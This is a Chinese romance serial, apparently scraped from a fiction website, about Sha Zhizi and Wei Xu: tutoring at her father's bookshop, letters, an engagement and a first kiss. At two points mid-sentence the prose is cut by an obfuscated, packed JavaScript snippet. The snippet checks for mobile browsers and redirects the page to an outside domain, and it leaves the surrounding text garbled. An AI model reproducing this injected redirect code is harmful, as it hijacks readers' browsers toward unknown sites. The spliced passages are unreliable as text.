《请问沙栀子的恋爱选项是?》 1. 选项:A 01 沙栀子和一个镇上的哥哥结婚了。 02 那个哥哥叫魏续,单眼皮,高个子,只大和他同所学校的沙栀子三岁。 沙栀子的父亲在镇上开了一家书店。只是卖些教辅参考书、偶尔也进些流行书刊。沙栀子放学后就会去帮忙收银,她也爱看书。她喜欢看自己看不懂的书——尤其是诗集。她越是读不懂就越愿意去读,什么“哈格鲁普”、“阿赫玛托娃”、“索德格朗”之类拗口的名字,她写在草稿纸上,没有客人的时候就一遍一遍地念。 她第一次读到不懂的诗。 就好像手上拿着刀叉,切开了一条脂肪肥美的小鲨鱼。 “黑框眼镜”是书店的常客之一。沙栀子后来才知道他叫魏续。他眉眼攥地浓黑,眼神又亮,带着细脚的黑框眼镜也不显得呆板。每天放学过半个小时,大约七点,他就会来书店。有时候他在狭窄的客座上,借着书店里的灯光看书。有时候他来去都很匆忙,总买一些刁钻的习题、奥数书,买完就走,干脆利落。好像很忙似的。 有时候他不够钱,就直接拿着草稿本和铅笔,在书店站一下午。 有一次,沙栀子去书店帮忙,恰巧碰见父亲赶他。“黑框眼镜”手上的奥数精编被一个领着小孩的家长看中了,要拿走到前面付账。他拿着没松手。这是最后一本了,他还剩一些题没做完。 小书店的门帘叮铃响几声,一双干净的女生的手拨开跑进来。 沙栀子看见父亲对“黑框眼镜”喊:“出去出去!没钱买就出去,别在这儿挡着!” 她父亲对“黑框眼镜”态度这么差,是因为他每次买书都买最便宜的,天天过来泡着,看完做完的习题集就不会再买了。他身上穿的也单薄,袖口磨破了,指节分明的手很好看,但有很多地方都是兼职工作磨出来的茧子。 “黑框眼镜”的家庭条件不是很好。 沙栀子除了帮书店收银,偶尔也要来买书的。这里不会因为她是老板的女儿就不收钱的,都是要入账的。 沙栀子穿过教辅区,就被拦住了。魏续问:“你是…住对门胡同的小妹妹对吗?” 她是去买自己看不懂的现代诗的。越是看不懂,她就觉得越美妙。 沙栀子抬头看他,然后点点头。 “黑框眼镜”微微笑了,宽宽的肩放松了,双手撑到膝盖上,和沙栀子平视。他的眼睛黑地很浓,也很亮。像洗干净的黑珍珠,语速很快、很有礼貌地问:“你可不可以借我一些钱?我下周就还。” 沙栀子摇了摇头。 “不行,我要买自己想买的东西。”她善意地补充解释,“钱不够。” 那本很厚的奥数精选被满脸不情愿的小孩子抱走了。店里最近没进跟数学相关的新书。 “黑框眼镜”倚在门口一直看,什么都看不见了,他还在那里发呆。 沙栀子抱着薄薄的诗集经过的时候,难得有点犹豫,有点过意不去的。 于是她把诗集塞到对面胡同住的哥哥的手里,“……借给你看…两天。” 只能两天,沙栀子想。 一个星期太长了。 沙栀子等不了这么久,她也很想看。 发呆的“黑框眼镜”好像从来没读过诗一样,迟疑地看了沙栀子一眼,翻开看了几页,然后合上。“谢谢你,你是叫…沙栀子吗?”他看了看沙栀子胸口纸做的工牌,声音温和,不太确定地问道。她在自己家的店打工也是有工资的。 “嗯。” 沙栀子点了点头,然后去收银了。 03 过了一天,“黑框眼镜”把诗还给她。 “你很想看吧?”他了然地说。 沙栀子在书店补货架上的书,踩着高凳,一愣,傻傻地问:“才一天你都看完了?” “黑框眼镜”笑了笑:“很快就扫完了。”沙栀子抿了下嘴。这是她很珍重的一本书,在书店里看完后没弄折一页纸,最后咬咬牙凑钱买下来了。她觉得“黑框眼镜”的这个“扫”字用的不好,说明他只是用手抚开灰尘一样,轻飘飘地把字给扫了一遍。 “谢谢你了。”他在踩凳旁边说。 不该借给他的。 沙栀子想。 “我擅自给你包了书皮,怕放在书包里弄脏了,希望你不要生气。”他忽然补了一句,把包着漂亮书皮的书递还到沙栀子手里,“我叫魏续,家里还有一些别的书皮款式,是用剩下的,你要不要?” 书皮上有细碎的樱花。 这本书好像变得更美了。沙栀子小心地捧着,从凳子上下来。 “…要。” 魏续说那些都是他比赛附加的奖品,值钱的他都卖掉了,有些书皮还没卖掉,可以送给沙栀子。沙栀子问为什么。他说谢谢沙栀子借书给他看。沙栀子犹豫了好一会儿。还没等她想清楚,第二天魏续就在收银台买了之前那本补了货的奥数书。 付钱的时候,“黑框眼镜”顺便把五张书皮叠在一起给沙栀子。他说,你还有别的诗集对不对,都可以包起来,这样封面就不会发黄变皱了。 “太好了。就像保质期延长的面包一样。”沙栀子忍不住欢喜地说出声。 “…面包?”魏续重复这两个字。他说完之后自己也笑起来,“你这么说好有趣。”沙栀子说这没有什么有趣的。 沙栀子忽然对他有了一点倾诉欲。 她小孩子一样地说,诗里形容星星是“硕大”的,她就从来没想过。只看过小说里写石头硕大、乳芳硕大,难道星星就像乳芳,流出的白光就是乳汁,每晚我们都吮吸着这些乳汁睡着……魏续的脸微微红了。可沙栀子还没到认识男女之别的年龄。她浑然不觉,小声地继续说着。 直到下一个人催着结账。 魏续在门口站了一会儿,沙栀子问他怎么还不走。 魏续摇了摇头。 沙栀子的父亲从书店的隔间探出头,呵斥说,“书总不能是白白看的,我让他给你补习,特别是数学计算,你上次又记错账,多收了别人一块五是不是?!” 沙栀子低下头,眼圈羞愧地红了。 魏续慢慢站直了身板。 04 魏续把袖口挽起来,露出手腕,拿着铅笔画圆锥曲线的两条数轴。 他讲了两分钟。 沙栀子说,“坐标轴上的点好像举着手、绷着脚尖躺平的蚂蚁。” 魏续停下笔看她,抬手,拿笔帽敲了敲她的额头。“认真一点。” 沙栀子摸了摸额头,不痛,“…好像小和尚敲木鱼,”她又异想天开地说,“敲地这么轻,是不是思凡了?” 明明是胡说八道。魏续却说:“胡说,我没有……”后面没说下去。 他有点担心,怕沙栀子又说出语文课本上有个故事叫掩耳盗铃。 补习了一段时间总算有点成效,沙栀子的父亲鼻子里哼出气,给魏续算了市面上一半的补课费。魏续再来书店站着看书的时候,他就装作没看见,睁一只眼闭一只眼了。中午午餐他和沙栀子只吃半个小时,剩下半个小时就讲题讲考试。来不及吃的时候魏续就会买速食面包,一边教沙栀子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180292|180923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写解题步骤,一边在她写的顺利的时候撕下一块儿面包塞进嘴里。 有时候沙栀子手上拿着笔,抬起头,看着魏续吃红豆面包,“……” “……” 魏续咀嚼的速度慢下来,不好意思地顶了下腮帮子,然后咽下去。 “…你…要吃吗?” 沙栀子点点头。 魏续把商店里最便宜的红豆面包撕开,撕成两半,给沙栀子一半。 沙栀子马上放下笔,两只手接过来,放到嘴边小小地咬了一口。她嚼了几下,郑重地吞下去,然后抬头对魏续说,“…好好吃哦。”沙栀子想了想,想出个好说法,“就像红豆面包一样好吃。” “…这本来就是红豆面包。” 魏续笑了。 魏续咬了自己的那一半,忽然也觉得好吃起来。 …… 有几次魏续没买面包吃了。有时候沙栀子不在书店。沙栀子就会在学校湖边的长椅上等他,这里比书店更安静。他来之前就吃过了。沙栀子问他吃了什么。魏续想了想,说吃了饭。沙栀子哦了一声,就听他接着圆锥曲线讲函数讲微积分。 可是这些记账的时候都用不上。 “不如考我口算心算吧。”沙栀子想这么说,可是看见魏续讲的很认真,眼睛微微发亮。她就闭嘴了。 魏续第四次没买红豆面包,说自己从家里吃了饭来的时候。沙栀子怔怔地看着他。魏续问她怎么了,是不是小测做错题了。沙栀子不说话。魏续低下头看着她的脸,说,做错了也不要紧,分数低也不要紧,都是暂时的。魏续摸了摸她的头发,说,给你讲了之后再做就不会错了。 沙栀子忽然哭了。 魏续问,怎么了?到底怎么了? 他从沙栀子的书包里拿出小测的卷子,仔仔细细地看起来,忽然发现书包里、卷子底下盖着一个温热的饭盒。 沙栀子哭着说,“红豆面包不好吃的话,你就吃这个吧。不然你要饿死了。” 魏续哑口无言。 沙栀子说话太直接了,她是真的担心自己认识的、给自己补习的人会饿死。她怕魏续再不吃饭就饿死了。 可是,他的确是吃了才来的啊。 魏续的脸慢慢红了。可是慢慢的,他的眼睛也有点红了。他说,“真对不起,我最近……”他从书包的夹层里拿出一个镜框,跟之前那个黑框眼镜不同,这个镜脚微微翘起来,颜色是浅金的。更细、更轻,更漂亮。“这几天我只吃一餐,所以才吃得早,我是想换一副眼镜。” 他为沙栀子的担心而愧疚,把眼镜放到她手里让沙栀子看。 “原来那个坏掉了吗?”沙栀子问。 魏续垂下眼睛,身体往另一边转过去。他摇了摇头,“…没有坏。” “那你为什么要换?因为戴这个你的心情会更好一些吗?”沙栀子有点明白了。 也许男孩子也是爱美的。就算是比她年纪大的男孩子。 魏续抬起头看了沙栀子两眼,忽然说:“上次你在路上跟我打招呼,叫我黑框眼镜……”等他戴上新的金丝边眼镜,就会轻轻呼出一口气,“现在不是黑框眼镜了。” 原来是这样。沙栀子想,诗里的借代放在这里是不礼貌的。 沙栀子还是把饭盒给他。把眼镜还给他,让魏续戴上去。可是戴上去,没有多焕然一新。 他还是普通的好看,顶多好看了一点。 沙栀子点点头,“魏续哥哥。” 秀气的浅金眼镜下,浓黑的瞳孔微微一颤。魏续的脸,这才完全红了。 2. 选项:A 01 一杯牛奶上漂浮着一颗麦丽素。 02 沙栀子捧起来,咕噜咕噜。 喝的有一点急了。囫囵吞枣的架势。牛奶的海平线降了一半,在杯壁和嘴唇上留下淡淡遗迹;裹着巧克力外壳的小岛屿被含进嘴里。沙栀子含在齿间,心满意足地咬破了。 她搁下杯子,“剩下的都给你吃。”她把拆开封袋的巧克力麦丽素推到对面桌前。 魏续点点头,擦了擦手心的汗,然后接过来。拿了一颗放到嘴里。 又拿了一颗,落到沙栀子的牛奶杯里。 书店隔间有台便捷的打印机,沙栀子的父亲断然放下话,怎么说沙栀子都要顺利毕业,至少拿到高中文凭也好,这样继承家里的书店之后不至于一窍不通,补习中只要有需要,就抽底下那一摞A4纸打印,没了他再补。书店外面人声嘈杂,里面就贴着墙壁放了隔音泡沫,还是蓝色的,一层层不规则的海浪一样围起了整个小隔间。 落笔声沙沙的。 魏续拿起一张标满红记号的纸,抬头问,“这个定义再背一次,好不好?” 他讲话的声音好温柔,他脸上的表情显示自己根本没察觉自己太温柔。好在沙栀子是个喜欢“你投桃,我报李”的人,不会顺着杆子躲懒,只要魏续是这样的语调,她就格外听话。 沙栀子的父亲也会一点数学计算,以前沙栀子满卷飘红了,就搁在父亲面前。站直了,挨训。…怎么这么笨?有没有听讲啊?这么不认真以后只会越来越笨。沙栀子的父亲恨铁不成钢。沙栀子呆呆的,看起来很乖。等父亲嘴说干了,等她表态的时候,她说,“爸爸,你有的字音调读错了,不该那么念。” 还说他断句不好听。 气地沙栀子的父亲倒仰。透过一丝门缝,沙栀子的父亲看了眼—— 沙栀子点点头,接过一张纸。埋头写起来。 让写什么就提笔写什么。 让背什么,就拿到面前乖乖念起来。 沙栀子父亲默不作声地看了一会儿,然后悄悄关紧了门。奇怪。怎么他喉咙扯破了沙栀子也不听,就听魏续的?怪事。魏续这个孩子…还挺会教人的。 “液体对物体垂直向上的力叫做浮力……”蜘蛛拆网似的,他有条不紊地把公式掰碎了,一点点喂到沙栀子嘴边。 魏续视线落到她嘴边。 沙栀子抿着嘴,费力地听。 他顿了一下,“…栀子,你…”,视线慢慢移到了别处,“…你是不是不喜欢背这些东西?” 沙栀子问:“你怎么发现的?”这还轮不到发现这个词,看就足矣。 她想了想,神情严肃起来。 “我是不喜欢背的……但是这跟穿衣服系鞋带一样,都是很重要的基础知识,必须得背。”沙栀子浑然反客为主了,她抵着桌子往前倾,对魏续劝诫道,“魏续哥哥,你要到外面照顾自己的话,要去大城市读书,竞争很激烈的,这些都是要知道的。实在记不住的话,你可以多想想。” “多想想,能推理出来这些公式就可以了。” 魏续微微笑了。 “对,要多想。” “想……?” 魏续喜欢和沙栀子说话。 他下意识跟着沙栀子的话复述。魏续过几天就不能给沙栀子补习了,他本来就是跳级考的高中,六月份过了考试,其实早就被提前录取了。毕竟家里条件一般,得早作打算。父母早年离异,对他的关怀是“三天打鱼两天晒网”,不如不联系的好,时不时打个电话来说些不冷不热的话,浪费时间。省下这些时间,还能趁走之前给栀子多讲几道题。 想这个字有千百种意思。有思考、回忆、打算,还有……想念的意思。 他走了之后,沙栀子会想他吗? 两个并排坐的人思路天南地北地岔开了。 “嗯嗯。想。”沙栀子点头。她放下笔,把凳子拉到魏续旁边,坐下。 “魏续哥哥,别人都说你特别聪明。你肯定也很会想。我们一起来想吧。”小他三岁的女孩子坐到左手边,仰着脸,不觉唇上奶渍。一派认真地说出了让魏续一愣的话。她好像看出了自己孤身去外地,深藏在心里的不安和忧悒,直接对着他断言:“魏续哥哥,去大学一定会过得很幸福吧。” 句尾连个问号都不加的语气。 沙栀子翻开数学书,活学活用,“魏续哥哥会过得很开心,很幸福。这是一个真命题。”魏续下意识皱眉,张开嘴,想纠正自己辅导的小女孩因为不确定性而导致的错误判断。 “充分条件是,魏续哥哥聪明又努力。对不对?”她抬头询问魏续,眼睛那么亮,那么好看。好像坚信自己说的不会错。 “我想你说的不一定对。” 魏续没办法昧着良心做错题,可是心很软,好想反驳一下嘴上的“正论”。 “……但是,一定不错。” 说完后,他忍不住伸手,碰了碰她的脸。有点软,也有点烫。 03 鬼使神差地,魏续低头看了眼手机屏幕里的自己的倒影。眉梢溜上的是喜,是欢。 04 魏续去大城市读书了。九月初就要走了,他走之前问沙栀子:“你想要什么吗?” 沙栀子想了想。 她摇摇头,说:“我觉得我什么都有。” 魏续看看她的小书店,望向人来人往的街道,不足百里的小城镇,中国地图上的一个省里,这是地图上多渺小的一块啊。 魏续摸摸沙栀子的头发,说:“我觉得还不够。”你有的还不够多,不够好。他想,有些人值得更多、更好的东西。 临走那一天,魏续到书店里卸任辞职给沙栀子补习的工作,也算是道别。学校里也有魏续的同学听说了消息,给他办了场简单的欢送会,晚上他过来书店还书,一手抱着书,一手提着一个涂着“前程似锦,未来可期”奶油字样的蛋糕,提到沙栀子手里嘱咐道:“晚上不要吃太多,大约六分之一就好,不然会不舒服的。吃不完的放在冰箱里,包装盒不要拆,和其他饭菜串味就不好吃了。” 沙栀子闻到点香气,介于想要和不想要之间。 她露出比较踌躇的表情。 “你不要不收,我想给你吃。”魏续解释的时候,沙栀子的父亲也从后面隔间里撩帘子看了一眼,只听见这孩子说: “不是欢送会上的蛋糕,倒是有剩下的……可是剩下的怎么好给你吃。当做是心理安慰,我很担心你开学考的,回来路上忍不住买了个,你至少把蛋糕上这几个祝福的字吃到肚子里,让我安心一点,好不好?”他也太爱说好不好这三个字了,说得让人心肠都软了,沙栀子的父亲觉得这孩子怎么比自己还操心,一千个一万个放不下似的。 沙栀子的父亲觉得这里头很有点值得琢磨的东西,这里头他不知道的事情当然很多。 沙栀子不愿意收,要魏续劝这么久,是有原因的。 她不好意思拿魏续的东西。 刚开始补习,两个人熟识没多久的时候。魏续看的那本奥数精选很快又进货了,结果没过几天又要告罄了,沙栀子脑子一根筋,压根没想到可以把补习功课的部分工资抵这本魏续要的书,把书直接给人;她偷偷藏起来一本,带到中文名著区去看了,自觉办了好事,心想:等魏续来了,应该就能买到了吧。 结果沙栀子自己看书看得着迷,一时忘了时间,忽然一只手拿着本书在她眼前摆了摆:“送给你。” 魏续每个月精打细算,当然要抽点生活费来买书,对自身的提升进行长远投资。 沙栀子知道才给他留书的,那本诗集放到她手里,她都没回过神来,一副魂游九天的样子。 半晌才低头,“怎么送这个给我?” 魏续说,“上个月你不是去跟叔叔办了身份证吗?”她点头,可是这跟送书有什么关系,金丝边眼镜后的眼睛缓慢地眨了眨,他的睫毛那么长,很容易做出思索状,想了一会儿,才认真地解释道,“我看见你身份证上的日期了,就是生日,嗯,我知道自己送早了,还有一个月呢。可是我想了一个月,真怕自己忘了。” 他模拟考、联考、周考轮着来,有次试卷上名字差点忘了写,惊出一身汗。 昏了头,什么都可能给忘了。 所以思来想去,还是趁自己记得牢牢的时候,手上攥着钱的时候把大事给解决了为妙。这可是魏续惯常的行为指针。 但他绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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同学在旁边有偷偷笑的,也有光明正大笑的,揶揄几句,“就魏续不嫌麻烦,现在好了,自己有个筷子盒,又给小爱人准备个粉的盒,人家肯定嫌事多不会用的……” 魏续说:“你们不要瞎说。” 皱了皱眉,魏续补了句:“以后我给洗。”这下沙栀子的父亲喉咙里也闷出笑来。 “你去城里读书,栀子在镇上用你给的竹筷子,寄给你洗吗?”话说出来魏续也呆住了。这可怎么办是好。 魏续要走了,反而对比他安定一百倍的沙栀子不放心。 他想了半天,把吃饱喝足的沙栀子牵到外面说了几句话,塞了一些他存的钱,“你给钱找人帮你洗,在外面不用一次性的筷子,好不好?我怕病从口入,那些东西放在租铺子里经常积灰、沾上细菌,镇上的医疗设施也一般……等回来了我给你洗,知道了吗?” 除了好不好,他说的稍微有些强制性的、严厉的话就是——知道了吗? 治的沙栀子服服帖帖。 只得点头。 “你可以买一点你喜欢的东西。”他数了数几张纸钱和硬币,嘱咐道,“…先讲讲价再买,不要被骗了。”沙栀子的心也稍稍变轻了。 有点说不上来的,飘飘忽忽的感觉。 突然眼圈红红。 沙栀子说:“我肯定会自己洗的。你不要把我想的像公主一样,好不好?” 这话是很认真的。 两个小孩子轮番好不好了一回,听得人直发笑,沙栀子的父亲听到那个魏续同学说起的“小爱人”称呼,觉得也是瞎说、瞎搞,看了半天,又不太确定了,直到回去按计算器的时候也在想这回事,几十年来头一次算错了帐,想起来一个词:空穴来风。 没有空穴,哪来的风?! 坐上火车,放置好行李,和他们告别,魏续望着往后跑的景物和人物。 等到望见对方往回走,往镇上走了,他才恍惚地收回眼,靠在轰隆隆火车的椅背上,心中却是略微不舍地、甘丝丝地想着:不好……我是很想你做公主的。有条件做公主为什么不做……如果没有条件做公主,那就创造条件去做。所以你说,好不好? 我觉得不好。 有些话不必说出来。只管做出来,就好。 3. 选项:A 01 邮票的价格很便宜。 邮票和感冒药的价格同出一辙的便宜,因为人们经常会打喷嚏、咳嗽、思念别人。 02 上了高等中学之后,沙栀子有了更多的零花钱。她开始学会写信了。因为沙栀子得给魏续回信,年初时对方寄来一封道歉信,为自己父母擅自跑过去打扰她和她父亲、提什么订婚的事情,足足道歉了五千多字。 沙栀子买了很多邮票。她回信安慰一直就很照顾自己的哥哥。 【没关系,他们带的糕点,很好吃呢。……两个人说话虽然僵硬得有点像木偶,像在背课文,但是……我觉得爸爸挺想答应的。】 【你觉得呢?】 魏续的信回得很快,和以往送到学校的急件不同,难得送到了沙栀子家里。“是加急件啊,写的什么呢?”沙栀子站在父亲身边,踮起脚想看看信的内容,始终被父亲高高举起的手臂给挡住了。父亲拿着看了十几分钟,长吁短叹,最后又笑了,按下沙栀子探过来的头,“他说,他向父母问到了你觉得好吃的糕点是什么牌子的。以后买给你吃。” “你觉得好不好?” 沙栀子没有继续跳起来偷看了。她似乎已经知道了信的全部内容,心微微跳了一下。 03 好的。 很好的。 因为,那个糕点真的很甜的。沙栀子这样想着,也这样回答了。 04 上了高等中学后,沙栀子周围的人都有了“大人范”,不只是校服底下的衣着打扮五花八门,神态也有了相当大的变化。而沙栀子呢,虽然交到了一些朋友,但她的脑回路跟别人是不同的两条线,她发现初三课本里,艾青写下的《我爱这土地》的时候,正是1938年武汉失守。她开始知道放学铃声是理查德的“梦中的婚礼”、“秋日私语”;海子是卧轨自杀的……她的数理科成绩一年比一年低,语文、外语和历史倒是常常分数漂亮。 她给魏续写信时这样说:“邮票的价格好便宜,我想每周给你写一封。” 接着说点无关紧要的话,按照对方的请求,月底把成绩单和错题册一并寄过去。 二月份有个特殊节日,魏续寄来信,还有邮寄的一盒巧克力。惹得沙栀子班上的人凑过来围观,班外听取“哇”声一片。沙栀子放进抽屉之前,耳边都是揶揄的“咦”和波浪号。包装盒的颜色很好看,可以说是“落日熔金”。 魏续在信里问了一句什么是落日熔金。 【……如果不麻烦的话,就告诉我吧。我多想知道你话里的意思。……巧克力好吃吗?你的成绩单我收到了,不要灰心,错题集的分类很棒,有些地方我做了批注,复习时能看看就再好不过了。觉得实在费力,就熬一熬,等到文理分科就好……我加入了摄影社,不出意外,回来可以给你拍张漂亮的学生证照片。初春记得保暖。……你给我介绍的诗,我有背。下次见面你可以检查。】 【……你上次跟我说,薛涛在浣花溪制笺的故事,‘留得溪头瑟瑟波’,‘泼成纸上猩猩色’,文学社做活动,我买了几张桃花笺,下次抄在上面寄给你,应该会很好看。】 沙栀子在信里解释了一番,就是李清照客居异乡,在元宵节写的一首十分凄凉、透着孤单气息的词。开头四字就是这个,指的是落下去的残阳像溶化了的金子。 【我最近又背到这首,还是很喜欢这四个字,考试作文都写了。不过老师训我了。说不能因为想用,就硬写上去。我改了。但是这次金色的巧克力盒真的很漂亮,我没有忍住。】 她古诗背的也不错,至少书店里李清照全集都翻了十几遍。 不知怎么的,写完这封信寄到魏续手里,好几天他都并没有回信。 等到元宵节前一天,才收到信说:【我有些想你,栀子。】 不敢说“很”,只是克制的“有些”。 吵嚷的课间,沙栀子打开信,看到这一行字时愣住了。霎那间,她什么也没有听见。教室仿佛被一种穿越了空间、浓郁而悲伤的情绪抹掉了声音。她忍不住把信纸对折合上。后桌的女生忽然趴在她肩膀上,她只知道沙栀子有个对她很好的学长做笔友,有事没事就殷勤地互通信件,闲聊起来打趣道,“哎呀,你又在看信呀,三年一代沟五年一大沟。你说,跟比自己年纪大的男生说话不会觉得有代沟吗?” “今天星期五,下课我们一起去电玩城抓娃娃吧……”没得到回应,她又转移了话题。 同龄女生之间谈论的无非是街角新开的小饰品店、体育课上的男生、难看的体操服之类的。 前桌顺势拉过沙栀子的胳膊,兴致勃勃地讨论,“……喂,你有没有注意到,那个男生的眼睛很漂亮啊,就是前几天打篮球摔倒的那个呀,牛的睫毛也是这么密密的、长长的吧?” “如果结婚,生的小孩眼睛也会很漂亮的。就像我爸爸妈妈都是双眼皮,我也是这么明显的双眼皮。”双眼皮的女生喜滋滋地捧着脸。 “我有读过《三藏法数》,‘眼毛殊胜如牛王’指的是佛的睫毛很美……”有个戴眼镜的女生身体往后一扭,加入进来掉书袋。 “什么,你要嫁给佛?”迷迷糊糊的人听了一耳朵,引发一场哄堂大笑。 一上课这个话题就无疾而终,青春期的女生们很快把那个话题中心的牛睫毛男生给忘了。沙栀子把信放进书包夹层里,等回家再妥善地放到铁皮盒子里,免得被老鼠虫子什么的咬坏了。和同学下课去电玩城,路上她们一行人打打闹闹的看到冰淇淋小贩把车推过来,一起买了几个。沙栀子和几个同学买了“绿舌头”。 有个从没接吻过的女生骄傲地说:“绿舌头软掉后就像和人接吻哦。”明明咬起来更像果冻。成人还是很遥远的事,沙栀子想。 在她能结婚之前,魏续会一直想她,一直有些孤单。这是没有办法的事情。 05 当天沙栀子在电玩城的娃娃机里抓到了一只哆啦A梦。 做工一点也不精致漂亮。比起魏续送给她的手工娃娃差远了。晚上睡觉的时候,沙栀子看了眼摆在桌上的蓝胖子,和它肚子上无所不能的大口袋,匆匆把回信写了。 【虽然我也想你了。但是我不能像个笨蛋一样跑到你的学校里去。】 【……我的零用钱不够,就不能买火车票过来看你了。实际上还有一个原因,你知道会生气吗?早上爸爸就准备了做小汤圆的材料,买了很多水果、芝麻,好像还有肉。我猜他明天会做水果馅的……我不能把爸爸一个人放在家里跑出去。……不过你别伤心,我看到他是那样做的,糯米粉和水揉成面团,醒一醒……不是很难,我做好了笔记,等你寒假回来,你想吃几个都可以。你会跟我一起做的吧?因为我也想吃你做的。】 她写的很是正式,还有一股不容忽视的歉意。最后在开头添了句严谨的问好——【你好,魏续哥哥。我对不起你。】 是不是很滑稽呢。 写出如此可爱的一句话的沙栀子,忍不住在灯下咬了咬笔头,最后纠结地关灯睡觉了。 06 第二天,沙栀子去邮局时没把信寄出去。因为小镇很小,邮局就在火车站附近。 你说巧不巧。 三个人碰了个正着。 沙栀子双手捏着信要往邮筒里塞。父亲则包装好了速食汤圆,边问着工作人员注意事项,边拿笔填写大学的邮寄地址。魏续提着行李箱,跑过去,险之又险地截住信和汤圆。他低下头,脸上有残余的懊悔和愕然,“都怪我,忘记跟你说了。昨天刚请好假要回来的,我早就做好打算,要回来过节的……和你一起嘛。” 魏续笑得暖融融的。 沙栀子呆站半天,回家吃了汤圆、看了电视,直到晚上才回过神来。 魏续跟她说晚安的时候,才发现自己这个“惊吓”可能有点过头了。让沙栀子一整天没缓过神来,魏续也不知道她想到了什么,翌日收拾好简单的行李返校时,沙栀子才不好意思地问她那封信可不可以不给他,因为写的好像没有意义。魏续难得留了个心眼,在没开动的火车窗沿上趴住,看着她的发旋和睫毛问:“为什么不能给我看?里面写的什么?” 支吾了十几秒没有回答。 沙栀子说,“能不能不告诉你?” 魏续想了想,摇头,“不能。”这时候,火车“呜——”地一声长鸣。 魏续的眼镜滑到鼻梁上,但他没管。他现在很想知道为什么沙栀子会不愿意他拿走这封信。魏续凝视着沙栀子,并不想逼她做什么事情,他只是请求自己喜欢的女孩子道:“如果你不告诉我,我一直都不会知道了。” “我听你的话, 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——谈谈恋爱还可以,家庭方面简直拉垮。投稿的妹子已经尴尬撤稿了,估计这条待会儿就删了。散了吧,散了吧。 魏续搞清楚怎么一回事之后就点了退出,没有为不相干的人冷脸和发怒。他先在企鹅号开了添加好友的验证,后在宿舍群里艾特了全员:“谢谢。但是我已经有女朋友了。你们别瞎闹,我毕业了就打算结婚的。”随后群里满是跪地道歉的表情,对此室友们也是意料之外,愧疚地给魏续带了一个月的早餐,魏续好笑地在群里发了早餐钱的红包。 室友问,“要不我再给你注册个新号吧?有些人简直了,根本就是酸你。” 魏续说不用了。流言蜚语是最不值钱、也最伤不到不在乎它的人的东西。 最后事情结尾在魏续给表白墙的唯一一次的投稿私信里:“麻烦不要表白我。我已经有喜欢和准备结婚的人了。” 事情就这么不咸不淡地结束了。 之后大家基本就都知道他名草有主,还相当死心塌,努力赚钱准备毕业结婚的事了。情人节和元宵节就隔那么几天,去图书馆自习室的路上室友忽然想起来,问了句——“你女朋友不打算过来看你吗?” 魏续怀里抱着书,闻言皱了皱眉,不明白为什么要喜欢的沙栀子折腾来折腾去地跑来学校,满足他自己的情绪。 他反问:“为什么不是我回去看她?”室友一脸不解地说你不是还有老师布置的额外任务吗,又无语道,就你这还凤凰男、没救了你,以后老婆骑你脖子上你没准还面带微笑呢。他说的魏续听见了,但完全没听见,全英文的ACCA课本比唠叨室友的口水话有意思多了。 沙栀子会想自己的。间隙间,魏续不动声色,心里略微甘甜地想。 …… “……再说了,你那小女朋友读高中,高中男生那么多,她要是连这么重要的节日都没想起你,保不准等你毕业了,酒席订好了,结婚戒指买好了,礼服都套身上了,结果新娘子被年轻男人勾走了……”魏续回想起室友说的话,趴在火车窗上沉了沉眼色,更想知道在邮筒外截住的信里写的什么了。 会不会是,她喜欢别人了? 可是订婚才没过两天。魏续这两天累昏了头,实在脑子不太清醒,想三个字:万一呢。 魏续有点狼狈、仓促地别开眼睛,说,“如果信里是不好的事情,那还是不要告诉我了。”就是这时候,沙栀子发现魏续的眼睛像哭着的牛的眼睛。又温柔又明亮。 沙栀子还是开口了。 “我写了想你的事情,其实。”倒装句的不安和隐藏的羞怯放在一起。沙栀子的眼睛有点湿。 魏续的眼睛更湿。他没有哭,只是决定寒假下雪的时候,要带沙栀子去看电影。 “还有呢?” “我写了一件我发现的事情。” “是什么呀?” “我听说双眼皮和双眼皮如果结婚,小孩也是双眼皮的。昨天你吃汤圆,我偷看你了。我们两个,真的都是双眼皮的哦。”火车慢慢开动,沙栀子顺着车厢跑了几步。她边跑,边仰着头很天真地说。双眼皮的沙栀子和双眼皮的魏续,在火车开动的时刻看向对方。沙栀子穿着衬衫,半身的裙子鹅黄色,风吹得她很漂亮。魏续看着她,轻轻地说,“你真可爱。” 4. 选项:A 01 “我喜欢宫泽贤治。” “日本的诗人中,我最喜欢三十七岁死去的宫泽贤治。” 02 魏续用手捧起沙栀子干净的脸。 对方脸上有询问的意思,少年不再游移,贴住她的嘴唇伸舌头出去吻她。 沙栀子几乎含不住,笨拙地张嘴抵迎着。红色的、柔韧的东西越过食欲,交缠出透明的、黏稠的颜色。 芳香的声音。 还有一种饱胀的正在亵渎什么东西的罪恶感。魏续的手轻轻发抖,竭力止住自己可能要捏疼沙栀子脸颊的力度,眼皮共睫毛以一种朦胧的姿态低下去。 他有颗一点外龅的虎牙,不笑起来看不见。轻轻刺到沙栀子的舌头上。 抬起来。 有点抱歉地舐了一下、两下。 03 电影院外,第一次初吻,慌张又独特。 是一张该印在胶卷上的相碰。 04 去看电影的前几天,恰好寒潮来袭,南方大范围气温骤降。原本选好了一部《恋恋风尘》的,思来想去,还是怕人会感冒。 早晚是要冷的。 大城市里的羽绒服是很暖和,魏续很有预见,早买了一件寄回去,可这种新潮的东西总是太新了,穿起来也太轻了。 